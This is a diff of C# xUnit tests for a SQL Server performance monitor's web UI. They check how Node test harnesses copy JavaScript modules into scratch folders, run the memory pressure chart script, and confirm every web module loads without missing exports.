+    [Theory]
+    [InlineData("scratch")]
+    [InlineData("tmp")]
+    [InlineData("work")]
+    [InlineData("$dir")]
+    public void TheCorrectPattern_IsNotFlagged_UnderAnyFolderName(string folder)
+    {
+        var source =
+            JsDirFromArgv + FolderMadeBy(folder) +
+            "fs.cpSync(jsDir, " + folder + ", { recursive: true });\n" +
+            "fs.copyFileSync(path.join(" + folder + ", \"charts.js\"), path.join(" + folder + ", \"charts-real.js\"));\n" +
+            "fs.writeFileSync(path.join(" + folder + ", \"charts.js\"), \"export const stub = 1;\\n\");\n";
+
+        Assert.Empty(Violations(source));
+        Assert.True(CopiesWholeTree(source));
+    }
+
+    /// <summary>
+    /// A harness binds its folder from <c>mkdtempSync</c> however it spells the call: wrapped in <c>realpathSync</c> (three real
+    /// harnesses resolve the folder this way), wrapped in <c>path.resolve</c>, or imported by name (#5279).
+    /// </summary>
+    [Theory]
+    [InlineData("fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), \"x-\")))")]
+    [InlineData("fs.realpathSync.native(fs.mkdtempSync(path.join(os.tmpdir(), \"x-\")))")]
+    [InlineData("path.resolve(fs.mkdtempSync(path.join(os.tmpdir(), \"x-\")))")]
+    [InlineData("mkdtempSync(path.join(os.tmpdir(), \"x-\"))")]
+    public void AFolderMadeThroughAWrapperOrAnImport_IsRecognisedByItsBinding(string made)
+    {
+        var early =
+            JsDirFromArgv + "const tmp = " + made + ";\n" +
+            "fs.writeFileSync(path.join(tmp, \"charts.js\"), \"export const stub = 1;\\n\");\n" +
+            "fs.cpSync(jsDir, tmp, { recursive: true });\n";
+        var inOrder =
+            JsDirFromArgv + "const tmp = " + made + ";\n" +
+            "fs.cpSync(jsDir, tmp, { recursive: true });\n" +
+            "fs.copyFileSync(path.join(tmp, \"charts.js\"), path.join(tmp, \"charts-real.js\"));\n" +
+            "fs.writeFileSync(path.join(tmp, \"charts.js\"), \"export const stub = 1;\\n\");\n";
+
+        Assert.Single(Violations(early));
+        Assert.Empty(Violations(inOrder));
+    }
+
+    /// <summary>
+    /// A name bound from <c>path.join(&lt;the folder&gt;, ...)</c> is a path inside the folder (#5279). A copy that reads from it is an
+    /// in-folder copy, and a stand-in written through it (or through a name bound from it) is a stand-in, so the order rule sees it.
+    /// </summary>
+    [Theory]
+    [InlineData("fs.writeFileSync(path.join(tmp, \"charts.js\"), \"x\");")]
+    [InlineData("fs.writeFileSync(path.join(pages, \"charts.js\"), \"x\");")]
+    [InlineData("fs.writeFileSync(server, \"x\");")]
+    [InlineData("fs.writeFileSync(path.resolve(pages, \"stub.mjs\"), \"x\");")]
+    public void AStandInWrittenThroughAPathBoundFromTheFolder_IsFlaggedBeforeTheWholeTreeCopy(string write)
+    {
+        const string bindings =
+            "const pages = path.join(tmp, \"pages\");\n" +
+            "const server = path.join(pages, \"server.js\");\n";
+        var early =
+            JsDirFromArgv + FolderMadeBy("tmp") + bindings + write + "\n" +
+            "fs.cpSync(jsDir, tmp, { recursive: true });\n";
+        var late =
+            JsDirFromArgv + FolderMadeBy("tmp") + bindings +
+            "fs.cpSync(jsDir, tmp, { recursive: true });\n" + write + "\n";
+
+        Assert.Single(Violations(early));
+        Assert.Empty(Violations(late));
+    }
+
+    /// <summary>
+    /// A copy whose source is a name bound from <c>path.join(&lt;the folder&gt;, ...)</c> reads from inside the folder, so it is the
+    /// allowed in-folder copy. A name bound from <c>path.join</c> on the js folder is not, and stays a by-name copy (#5279).
+    /// </summary>
+    [Fact]
+    public void ACopyFromAPathBoundFromTheFolder_IsAnInFolderCopy_ButOneBoundFromTheJsFolderIsNot()
+    {
+        var inFolder =
+            JsDirFromArgv + FolderMadeBy("tmp") +
+            "fs.cpSync(jsDir, tmp, { recursive: true });\n" +
+            "const real = path.join(tmp, \"charts.js\");\n" +
+            "fs.copyFileSync(real, path.join(tmp, \"charts-real.js\"));\n";
+        var byName =
+            JsDirFromArgv + FolderMadeBy("tmp") +
+            "fs.cpSync(jsDir, tmp, { recursive: true });\n" +
+            "const real = path.join(jsDir, \"charts.js\");\n" +
+            "fs.copyFileSync(real, path.join(tmp, \"charts-real.js\"));\n";
+
+        Assert.Empty(Violations(inFolder));
+        Assert.Single(Violations(byName));
+    }
+
+    /// <summary>
+    /// Only a name bound from <c>mkdtempSync</c> (or from <c>path.join</c> on one) is the folder (#5279). A name the harness takes
+    /// from somewhere else, a name that only appears inside a string, and a property that happens to share the folder's name are
+    /// not it, so a copy of a js module out of any of them is still a by-name copy.
+    /// </summary>
+    [Theory]
+    [InlineData("const tmp = process.argv[3];\n", "fs.copyFileSync(path.join(tmp, \"util.js\"), path.join(work, \"util.js\"));")]
+    [InlineData("const tmp = path.join(os.tmpdir(), \"fixed\");\n", "fs.copyFileSync(path.join(tmp, \"util.js\"), path.join(work, \"util.js\"));")]
+    [InlineData("", "fs.copyFileSync(path.join(jsDir, \"work.js\"), path.join(work, \"work.js\"));")]
+    [InlineData("", "fs.copyFileSync(path.join(jsDir, opts.work), path.join(work, \"util.js\"));")]
+    public void ANameNotBoundFromMkdtempSync_IsNotTheFolder(string other, string copy)
+    {
+        var source =
+            JsDirFromArgv + other + FolderMadeBy("work") +
+            "fs.cpSync(jsDir, work, { recursive: true });\n" + copy + "\n";
+
+        Assert.Single(Violations(source));
+    }
+
+    /// <summary>
+    /// <c>scratch</c> stays a folder name when nothing binds it (#5279), as it was before the folder was found by its binding. A
+    /// harness that makes its folder in a helper function binds a different name inside the helper, and the stand-in order rule must
+    /// still see a write into <c>scratch</c> before the whole-tree copy.
+    /// </summary>
+    [Fact]
+    public void AFolderMadeInAHelper_KeepsTheNameScratch()
+    {
+        const string source =
+            JsDirFromArgv +
+            "function makeFolder() { const dir = fs.mkdtempSync(path.join(os.tmpdir(), \"x-\")); return dir; }\n" +
+            "const scratch = makeFolder();\n" +
+            "fs.writeFileSync(path.join(scratch, \"charts.js\"), \"export const stub = 1;\\n\");\n" +
+            "fs.cpSync(jsDir, scratch, { recursive: true });\n";
+
+        Assert.Single(Violations(source));
+    }
+
+    /// <summary>
+    /// A harness that imports the shipped scripts in place, with no scratch folder and no copy, has nothing to flag.
+    /// </summary>
+    [Fact]
+    public void AHarnessThatCopiesNothing_IsNotFlagged()
+    {
+        const string source = "const root = process.argv[2];\nawait import(pathToFileURL(path.join(root, \"app.js\")).href);\n";
+
+        Assert.Empty(Violations(source));
+        Assert.False(CopiesWholeTree(source));
+    }
+
+    /// <summary>
+    /// The scan reads every <c>.mjs</c> under the test folder, not only the files with "harness" in their name, so a helper that
+    /// copies js into a scratch folder cannot dodge the rule by what it is called (#5279). <c>WebHarness/load-web-modules.mjs</c>
+    /// is the file the old name pattern missed. Build output and <c>node_modules</c> stay out of the scan.
+    /// </summary>
+    [Fact]
+    public void TheScan_ReadsEveryMjsUnderTheTestFolder_WhateverItIsCalled()
+    {
+        var directory = Path.Combine(Path.GetTempPath(), "harness-scan-" + Guid.NewGuid().ToString("N"));
+        try
+        {
+            foreach (var relative in new[]
+            {
+                "web-x-harness.mjs",
+                "WebHarness/load-web-modules.mjs",
+                "helpers/copy-tree.mjs",
+                "bin/Debug/web-x-harness.mjs",
+                "obj/web-y-harness.mjs",
+                "node_modules/pkg/index.mjs",
+                "notes.txt",
+                "web-z-harness.js",
+            })
+            {
+                var file = Path.Combine(directory, relative.Replace('/', Path.DirectorySeparatorChar));
+                Directory.CreateDirectory(Path.GetDirectoryName(file)!);
+                File.WriteAllText(file, string.Empty);
+            }
+
+            var scanned = HarnessFiles(directory)
+                .Select(f => Path.GetRelativePath(directory, f).Replace('\\', '/'))
+                .OrderBy(f => f, StringComparer.Ordinal)
+                .ToArray();
+
+            Assert.Equal(new[] { "WebHarness/load-web-modules.mjs", "helpers/copy-tree.mjs", "web-x-harness.mjs" }, scanned);
+        }
+        finally
+        {
+            if (Directory.Exists(directory))
+            {
+                Directory.Delete(directory, recursive: true);
+            }
+        }
+    }
+
+    internal static IEnumerable<string> HarnessFiles(string directory)
+    {
+        /* Relative to the scanned directory, so the checkout's own location (a worktree under .claude/worktrees included)
+           never changes what is skipped. */
+        return Directory.EnumerateFiles(directory, "*.mjs", SearchOption.AllDirectories)
+            .Where(f => !Path.GetRelativePath(directory, f)
+                .Split(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar)
+                .Any(segment => SkippedDirectories.Contains(segment, StringComparer.OrdinalIgnoreCase)))
+            .OrderBy(f => f, StringComparer.Ordinal);
+    }
+
+    /// <summary>What is wrong with how one harness copies js modules, one entry per problem, each led by its line.</summary>
+    internal static List<string> Violations(string source)
+    {
+        var found = new List<string>();
+        var lastTreeCopy = -1;
+        var scratch = new ScratchNames(source);
+
+        foreach (Match call in CopyCall.Matches(source))
+        {
+            var api = call.Groups["api"].Value;
+            var arguments = CallArguments(source, call.Index + call.Length - 1);
+            var first = arguments is null ? string.Empty : FirstArgument(arguments);
+            var line = LineOf(source, call.Index);
+
+            if (arguments is not null && IsWholeTreeCopy(source, api, first, arguments))
+            {
+                /* The LAST whole-tree copy is the one every stand-in must follow: a harness that copies twice (into
+                   scratch/shipped and into scratch) loses a stand-in written between the two. */
+                lastTreeCopy = call.Index;
+                continue;
+            }
+
+            if (scratch.Inside(first))
+            {
+                continue;
+            }
+
+            found.Add($"line {line}: {api}({first}, ...) copies a js module by name or by directory, not the whole tree.");
+        }
+
+        if (lastTreeCopy < 0)
+        {
+            var scratchFolder = source.IndexOf("mkdtempSync(", StringComparison.Ordinal);
+            if (scratchFolder >= 0)
+            {
+                found.Add($"line {LineOf(source, scratchFolder)}: This scratch folder is made with mkdtempSync, but the whole tree is never copied into it.");
+            }
+
+            return found;
+        }
+
+        /* A stand-in module only replaces the real file when it is written AFTER the copy: the copy overwrites what is there. */
+        foreach (Match write in WriteCall.Matches(source))
+        {
+            if (write.Index >= lastTreeCopy)
+            {
+                break;
+            }
+
+            var arguments = CallArguments(source, write.Index + write.Length - 1);
+            var first = arguments is null ? string.Empty : FirstArgument(arguments);
+
+            /* A name bound from path.join(<the folder>, ...) stands for that call, so a stand-in written through one is read by
+               the path it was built from. */
+            var target = scratch.PathOf(first);
+            if (scratch.Inside(target) && ModuleTarget.IsMatch(target))
+            {
+                var written = target == first ? first : $"{first} ({target})";
+                found.Add($"line {LineOf(source, write.Index)}: This line writes {written} before the whole-tree copy. The copy overwrites it with the real module. Write every stand-in module after the copy.");
+            }
+        }
+
+        return found;
+    }
+
+    private static bool CopiesWholeTree(string source)
+    {
+        foreach (Match call in CopyCall.Matches(source))
+        {
+            var arguments = CallArguments(source, call.Index + call.Length - 1);
+            if (arguments is not null && IsWholeTreeCopy(source, call.Groups["api"].Value, FirstArgument(arguments), arguments))
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    private static bool IsWholeTreeCopy(string source, string api, string firstArgument, string arguments) =>
+        api is "cpSync" or "cp"
+        && TakenFromArgv(source, firstArgument)
+        && RecursiveTrue.IsMatch(arguments)
+        && !FilterOption.IsMatch(arguments);
+
+    /// <summary>
+    /// True when <paramref name="name"/> is a plain name that the harness binds straight from <c>process.argv</c>, which makes it
+    /// the js folder the test hands the harness, whatever the harness calls it. <c>const jsDir = process.argv[2]</c>,
+    /// <c>const [root, scenario] = process.argv.slice(-2)</c> and <c>const jsDir = path.resolve(process.argv[2])</c> all qualify.
+    /// A folder built from it (<c>path.join(jsDir, "pages")</c>) does not, so a copy of one directory is still a copy by
+    /// directory (#5279).
+    /// </summary>
+    private static bool TakenFromArgv(string source, string name)
+    {
+        if (!Identifier.IsMatch(name))
+        {
+            return false;
+        }
+
+        var escaped = Regex.Escape(name);
+        return Regex.IsMatch(
+            source,
+            @"\b(?:const|let|var)\s+(?:\[[^\]]*(?<![\w$])" + escaped + @"(?![\w$])[^\]]*\]|" + escaped + @")\s*=\s*(?:path\.resolve\(\s*)?process\.argv\b",
+            RegexOptions.None,
+            TimeSpan.FromSeconds(5));
+    }
+
+    /// <summary>
+    /// The scratch folder as one harness spells it, found the way <see cref="TakenFromArgv"/> finds the js folder: by where it comes
+    /// from, not by what it is called (#5279). It is every name the harness binds from <c>mkdtempSync</c>, plus every name bound
+    /// from <c>path.join(&lt;a scratch name&gt;, ...)</c>, which is a path inside the folder (<c>const pages = path.join(tmp,
+    /// "pages")</c>), until no further name turns up. <c>scratch</c> is always one of them, as it was when the folder was found by
+    /// that name alone, so a harness that makes its folder in a helper function keeps the verdict it had.
+    /// </summary>
+    private sealed class ScratchNames
+    {
+        private readonly Regex _use;
+        private readonly Dictionary<string, string> _paths = new(StringComparer.Ordinal);
+
+        public ScratchNames(string source)
+        {
+            var bound = new HashSet<string>(StringComparer.Ordinal);
+            foreach (Match made in FolderBinding.Matches(source))
+            {
+                bound.Add(made.Groups["name"].Value);
+            }
+
+            Bound = bound;
+
+            var inside = new HashSet<string>(bound, StringComparer.Ordinal) { "scratch" };
+            bool grew;
+            do
+            {
+                grew = false;
+                foreach (Match path in PathBinding.Matches(source))
+                {
+                    var name = path.Groups["name"].Value;
+                    if (!inside.Contains(path.Groups["base"].Value) || !inside.Add(name))
+                    {
+                        continue;
+                    }
+
+                    var call = path.Groups["call"];
+                    var open = path.Groups["open"].Index;
+                    var arguments = CallArguments(source, open);
+                    if (arguments is not null)
+                    {
+                        _paths[name] = source.Substring(call.Index, open + arguments.Length + 2 - call.Index);
+                    }
+
+                    grew = true;
+                }
+            }
+            while (grew);
+
+            /* Not preceded by a word character or a dot (a property that shares the folder's name is not the folder), and not
+               followed by a word character (the name is the whole word). */
+            _use = new Regex(
+                @"(?<![\w$.])(?:" + string.Join("|", inside.Select(Regex.Escape)) + @")(?![\w$])",
+                RegexOptions.None,
+                TimeSpan.FromSeconds(5));
+        }
+
+        /// <summary>The names the harness binds from <c>mkdtempSync</c>, not counting the always-present <c>scratch</c>.</summary>
+        public IReadOnlyCollection<string> Bound { get; }
+
+        /// <summary>True when <paramref name="text"/> uses a scratch name as code. A name between quotes is not a use, so a module
+        /// that happens to be called like the folder (<c>path.join(jsDir, "work.js")</c>) is not taken for a path inside it.</summary>
+        public bool Inside(string text) => _use.IsMatch(WithoutStrings(text));
+
+        /// <summary>
+        /// What a path argument stands for: the <c>path.join(&lt;a scratch name&gt;, ...)</c> call a plain name was bound from, or
+        /// the argument itself when it is not such a name.
+        /// </summary>
+        public string PathOf(string argument) => _paths.TryGetValue(argument, out var call) ? call : argument;
+    }
+
+    /// <summary>
+    /// The text with the inside of every string literal emptied, so a name that only appears between quotes is not taken for a use of
+    /// a variable. A template literal keeps what is inside its <c>${...}</c>, because that part is code.
+    /// </summary>
+    private static string WithoutStrings(string text)
+    {
+        var code = new StringBuilder(text.Length);
+        var quote = '\0';
+        for (var i = 0; i < text.Length; i++)
+        {
+            var c = text[i];
+            if (quote == '\0')
+            {
+                code.Append(c);
+                if (c is '"' or '\'' or '`')
+                {
+                    quote = c;
+                }
+
+                continue;
+            }
+
+            if (c == '\\')
+            {
+                i++;
+            }
+            else if (c == quote)
+            {
+                quote = '\0';
+                code.Append(c);
+            }
+            else if (quote == '`' && c == '$' && i + 1 < text.Length && text[i + 1] == '{')
+            {
+                var depth = 0;
+                var end = i + 1;
+                for (; end < text.Length; end++)
+                {
+                    if (text[end] == '{')
+                    {
+                        depth++;
+                    }
+                    else if (text[end] == '}' && --depth == 0)
+                    {
+                        break;
+                    }
+                }
+
+                var inner = text.Substring(i + 2, Math.Max(0, end - i - 2));
+                code.Append(' ').Append(WithoutStrings(inner)).Append(' ');
+                i = end;
+            }
+        }
+
+        return code.ToString();
+    }
+
+    /// <summary>The text between the parentheses of the call whose opening parenthesis is at <paramref name="open"/>,
+    /// skipping over string literals, or null when the call never closes.</summary>
+    private static string? CallArguments(string source, int open)
+    {
+        var depth = 0;
+        var quote = '\0';
+        for (var i = open; i < source.Length; i++)
+        {
+            var c = source[i];
+            if (quote != '\0')
+            {
+                if (c == '\\')
+                {
+                    i++;
+                }
+                else if (c == quote)
+                {
+                    quote = '\0';
+                }
+
+                continue;
+            }
+
+            if (c is '"' or '\'' or '`')
+            {
+                quote = c;
+            }
+            else if (c == '(')
+            {
+                depth++;
+            }
+            else if (c == ')' && --depth == 0)
+            {
+                return source.Substring(open + 1, i - open - 1);
+            }
+        }
+
+        return null;
+    }
+
+    /// <summary>The first top-level argument of a call's argument text, trimmed.</summary>
+    private static string FirstArgument(string arguments)
+    {
+        var depth = 0;
+        var quote = '\0';
+        for (var i = 0; i < arguments.Length; i++)
+        {
+            var c = arguments[i];
+            if (quote != '\0')
+            {
+                if (c == '\\')
+                {
+                    i++;
+                }
+                else if (c == quote)
+                {
+                    quote = '\0';
+                }
+
+                continue;
+            }
+
+            if (c is '"' or '\'' or '`')
+            {
+                quote = c;
+            }
+            else if (c is '(' or '[' or '{')
+            {
+                depth++;
+            }
+            else if (c is ')' or ']' or '}')
+            {
+                depth--;
+            }
+            else if (c == ',' && depth == 0)
+            {
+                return arguments[..i].Trim();
+            }
+        }
+
+        return arguments.Trim();
+    }
+
+    private static int LineOf(string source, int index)
+    {
+        var line = 1;
+        for (var i = 0; i < index && i < source.Length; i++)
+        {
+            if (source[i] == '\n')
+            {
+                line++;
+            }
+        }
+
+        return line;
+    }
+}
diff --git a/Darling/Darling.Tests/WebMemoryPressureChartBehaviourTests.cs b/Darling/Darling.Tests/WebMemoryPressureChartBehaviourTests.cs
new file mode 100644
index 0000000000..2289ff72b7
--- /dev/null
+++ b/Darling/Darling.Tests/WebMemoryPressureChartBehaviourTests.cs
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// What the web Memory tab's pressure events panels draw, from the shipped <c>server-tabs.js</c> run under Node
+/// (<c>web-memory-pressure-harness.mjs</c>) against the rows <c>get_memory_pressure_events</c> sends: the samples are
+/// counted per hour the way the desktop chart counts them (indicator 2 medium, 3 and above severe, per source), hours
+/// with no sample are drawn as 0 across the window, and the notice says what a 0 means. Node is skipped when it is not
+/// installed.
+/// </summary>
+public sealed class WebMemoryPressureChartBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-memory-pressure-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the memory pressure harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the memory pressure harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            var result = doc.RootElement.Clone();
+            Assert.Empty(result.GetProperty("errors").EnumerateArray());
+            Assert.Empty(result.GetProperty("rejections").EnumerateArray());
+            return result;
+        }
+    }
+
+    [Fact]
+    public void Samples_AreCountedPerHour_ByPressureSourceAndSeverity()
+    {
+        var chart = Run("counts").GetProperty("charts")[0];
+        var rows = chart.GetProperty("points").EnumerateArray()
+            .Select(p => p.EnumerateArray().Select(v => v.ValueKind == JsonValueKind.Number ? v.GetInt32() : -1).Skip(1).ToArray())
+            .ToArray();
+
+        // Hours oldest first: [sql medium, sql severe, os medium, os severe]. One sample 3 hours back; an hour 1 back holds
+        // a SQL medium, a SQL severe with OS medium, and an OS severe; the OS-only normal sample is not drawn.
+        Assert.Contains(new[] { 1, 0, 0, 0 }, rows);
+        Assert.Contains(new[] { 1, 1, 1, 1 }, rows);
+        Assert.Equal(2, rows.Count(r => r.Sum() > 0));
+        Assert.Equal(4, chart.GetProperty("series").GetArrayLength());
+        Assert.Equal("events", chart.GetProperty("unit").GetString());
+        Assert.Equal("stacked-bar", chart.GetProperty("mode").GetString());
+    }
+
+    [Fact]
+    public void HoursWithNoSample_AreDrawnAsZero_AcrossTheWindow_AndTheNoticeSaysWhatAZeroMeans()
+    {
+        var r = Run("counts");
+        var points = r.GetProperty("charts")[0].GetProperty("points");
+
+        // A 6 hour window is 7 hourly buckets whether or not an event fell in them.
+        Assert.InRange(points.GetArrayLength(), 6, 8);
+        var zero = points.EnumerateArray().Count(p => p.EnumerateArray().Skip(1).All(v => v.GetInt32() == 0));
+        Assert.True(zero >= 4, "empty hours must be present as 0");
+        var notice = Assert.Single(r.GetProperty("notices").EnumerateArray()).GetString()!;
+        Assert.Contains("an hour with none draws no bar", notice, StringComparison.Ordinal);
+        Assert.Contains("before collection began", notice, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ASampleThatNeverReachedMedium_IsNotDrawn_ButTheTableStillListsIt()
+    {
+        var r = Run("quiet");
+        Assert.Empty(r.GetProperty("charts").EnumerateArray());
+        Assert.Equal(2, r.GetProperty("tableRows").GetInt32());
+        Assert.Contains(r.GetProperty("empties").EnumerateArray(), e => e.GetString()!.Contains("reached medium pressure", StringComparison.Ordinal)
+            && e.GetString()!.Contains("before collection began", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void ADataAnswerThatCarriesAWindowNote_DrawsItOnTheGrid_AndNotOnTheChart()
+    {
+        var r = Run("floor");
+        var notes = r.GetProperty("notices").EnumerateArray().Select(n => n.GetString()!).Where(n => n.Contains("partial window", StringComparison.Ordinal)).ToArray();
+        Assert.Single(notes);
+        Assert.Equal(1, r.GetProperty("tableRows").GetInt32());
+    }
+
+    [Fact]
+    public void AnEmptyAnswer_DrawsNoChart_AndOneRead_FeedsBothPanels()
+    {
+        var r = Run("empty");
+        Assert.Empty(r.GetProperty("charts").EnumerateArray());
+        Assert.Contains(r.GetProperty("empties").EnumerateArray(), e => e.GetString()!.Contains("healthy state", StringComparison.Ordinal)
+            && e.GetString()!.Contains("before collection began", StringComparison.Ordinal));
+        Assert.Single(r.GetProperty("fetches").EnumerateArray());
+    }
+}
diff --git a/Darling/Darling.Tests/WebModuleLoadTests.cs b/Darling/Darling.Tests/WebModuleLoadTests.cs
new file mode 100644
index 0000000000..c6308487e1
--- /dev/null
+++ b/Darling/Darling.Tests/WebModuleLoadTests.cs
@@ -0,0 +1,239 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// app.js imports every page module statically, so a module that throws while it loads blanks the whole web UI.
+/// <c>node --check</c> only parses, so nothing else catches that. Two checks guard it, and they catch different things.
+/// The Node load imports every file under wwwroot/js (each one separately, app.js included) with a stubbed DOM; it
+/// catches a link-time missing export (<c>import { X }</c> from a module that does not export X, a SyntaxError) and an
+/// unimported name used AT TOP LEVEL while the module loads, and (after the imports, the harness drains the event loop)
+/// an error thrown or rejected in async work a module starts, such as app.js's un-awaited start() calls. It does NOT catch an unimported name used only inside a
+/// function body, because that throws only when the function runs. The source pin catches that case: it reads every
+/// module's <c>export</c> lines and flags a module that uses an exported name it neither imports nor declares. The Node
+/// load is skipped when Node is not installed; the source pin still guards a runner without Node.
+/// </summary>
+public sealed class WebModuleLoadTests
+{
+    private static readonly string[] JsRoot = { "Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js" };
+
+    [Fact]
+    public async System.Threading.Tasks.Task EveryWebModuleLoadsUnderNodeWithoutATopLevelReferenceErrorOrAMissingExport()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "WebHarness", "load-web-modules.mjs"));
+        psi.ArgumentList.Add(PathTo(JsRoot));
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped web modules cannot be loaded.");
+            throw;
+        }
+
+        using (proc)
+        {
+            var errorTask = proc.StandardError.ReadToEndAsync();
+            var outputTask = proc.StandardOutput.ReadToEndAsync();
+            using var timeout = CancellationTokenSource.CreateLinkedTokenSource(TestContext.Current.CancellationToken);
+            timeout.CancelAfter(TimeSpan.FromSeconds(30));
+            try
+            {
+                await proc.WaitForExitAsync(timeout.Token);
+            }
+            catch (OperationCanceledException) when (!TestContext.Current.CancellationToken.IsCancellationRequested)
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the module load script did not finish in 30 s");
+            }
+
+            var output = await outputTask;
+            Assert.True(proc.ExitCode == 0, "a web module failed to load or left an async error unhandled: " + await errorTask);
+            Assert.Contains("loaded app.js", output);
+            Assert.Contains("loaded pages/finops/utilization.js", output);
+            Assert.Equal(AllModules().Length, Regex.Matches(output, @"(?m)^loaded (?!\d+ modules)").Count);
+        }
+    }
+
+    private static string[] AllModules() => Directory.GetFiles(PathTo(JsRoot), "*.js", SearchOption.AllDirectories);
+
+    /// <summary>Names any module under wwwroot/js exports, read from its <c>export</c> lines.</summary>
+    private static HashSet<string> Exports()
+    {
+        var names = new HashSet<string>(StringComparer.Ordinal);
+        foreach (var file in AllModules())
+        {
+            var src = File.ReadAllText(file).ReplaceLineEndings("\n");
+            foreach (Match m in Regex.Matches(src, @"(?m)^export\s+(?:async\s+)?(?:function\*?|const|let|class)\s+([A-Za-z_$][\w$]*)"))
+                names.Add(m.Groups[1].Value);
+            foreach (var n in ExportListNames(src))
+                names.Add(n);
+        }
+        return names;
+    }
+
+    /// <summary>Names exported by a local <c>export { a, b as c };</c> list (a re-export with <c>from</c> is not one).</summary>
+    internal static List<string> ExportListNames(string source)
+    {
+        var names = new List<string>();
+        foreach (Match m in Regex.Matches(source.ReplaceLineEndings("\n"), @"(?m)^export\s*\{([^}]*)\}\s*;?[ \t]*(?!\s*from\b)$"))
+            foreach (var part in m.Groups[1].Value.Split(',', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries))
+                names.Add(part.Split(" as ", StringSplitOptions.None).Last().Trim());
+        return names;
+    }
+
+    [Fact]
+    public void TheExportReaderSeesAnExportListAndNotAReExport()
+    {
+        Assert.Equal(new[] { "a", "c" }, ExportListNames("const a = 1;\nexport { a, b as c };\n"));
+        Assert.Empty(ExportListNames("export { x } from \"./y.js\";\n"));
+    }
+
+    private static string StripCommentsAndStrings(string body)
+    {
+        body = Regex.Replace(body, @"/\*.*?\*/", " ", RegexOptions.Singleline);
+        body = Regex.Replace(body, @"(?m)^\s*//.*$", " ");
+        body = Regex.Replace(body, "\"(?:[^\"\\\\\\n]|\\\\.)*\"", "\"\"");
+        return Regex.Replace(body, "'(?:[^'\\\\\\n]|\\\\.)*'", "''");
+    }
+
+    private static HashSet<string> ImportedNames(string source)
+    {
+        var imported = new HashSet<string>(StringComparer.Ordinal);
+        foreach (Match m in Regex.Matches(source, @"(?m)^import\s*\{([^}]*)\}\s*from\s*""[^""]+"";"))
+            foreach (var part in m.Groups[1].Value.Split(','))
+                imported.Add(part.Trim().Split(" as ", StringSplitOptions.None).Last().Trim());
+        return imported;
+    }
+
+    /// <summary>The code of a module with its re-exports, comments, strings and object-literal keys neutralized.</summary>
+    private static string CodeBody(string source)
+    {
+        // A re-export (export { x } from "...") forwards a name without using it, so it is not a use.
+        var body = StripCommentsAndStrings(Regex.Replace(source, @"(?m)^(?:import|export)\s*\{[^}]*\}\s*from\s*""[^""]+"";", ""));
+        // An object-literal key (`{ tab: x }`) names a property, not the shared binding.
+        return Regex.Replace(body, @"(?<=[{,]\s*)[A-Za-z_$][\w$]*(?=\s*:)", "_key");
+    }
+
+    /// <summary>Names a module binds locally: declarations, function parameters, arrow parameters, catch bindings and
+    /// destructuring all bind a local.</summary>
+    private static HashSet<string> LocalBindings(string body)
+    {
+        var declared = new HashSet<string>(
+            Regex.Matches(body, @"\b(?:function\*?|const|let|var|class)\s+([A-Za-z_$][\w$]*)").Select(m => m.Groups[1].Value),
+            StringComparer.Ordinal);
+        foreach (Match m in Regex.Matches(body, @"\bfunction\*?\s*[\w$]*\s*\(([^)]*)\)|\(([^()]*)\)\s*=>|\bcatch\s*\(([^)]*)\)|\b(?:const|let|var)\s*[\{\[]([^}\]]*)[\}\]]|\b([A-Za-z_$][\w$]*)\s*=>"))
+            for (var g = 1; g <= 5; g++)
+                foreach (Match id in Regex.Matches(m.Groups[g].Value, @"[A-Za-z_$][\w$]*"))
+                    declared.Add(id.Value);
+        return declared;
+    }
+
+    /// <summary>Names a module both imports and binds locally. The pin treats a locally bound name as the module's own,
+    /// so such a name would silently switch the pin off for that import; it has to be empty.</summary>
+    internal static List<string> ImportedNamesAlsoBoundLocally(string source) =>
+        ImportedNames(source.ReplaceLineEndings("\n"))
+            .Where(n => LocalBindings(CodeBody(source.ReplaceLineEndings("\n"))).Contains(n))
+            .OrderBy(n => n, StringComparer.Ordinal).ToList();
+
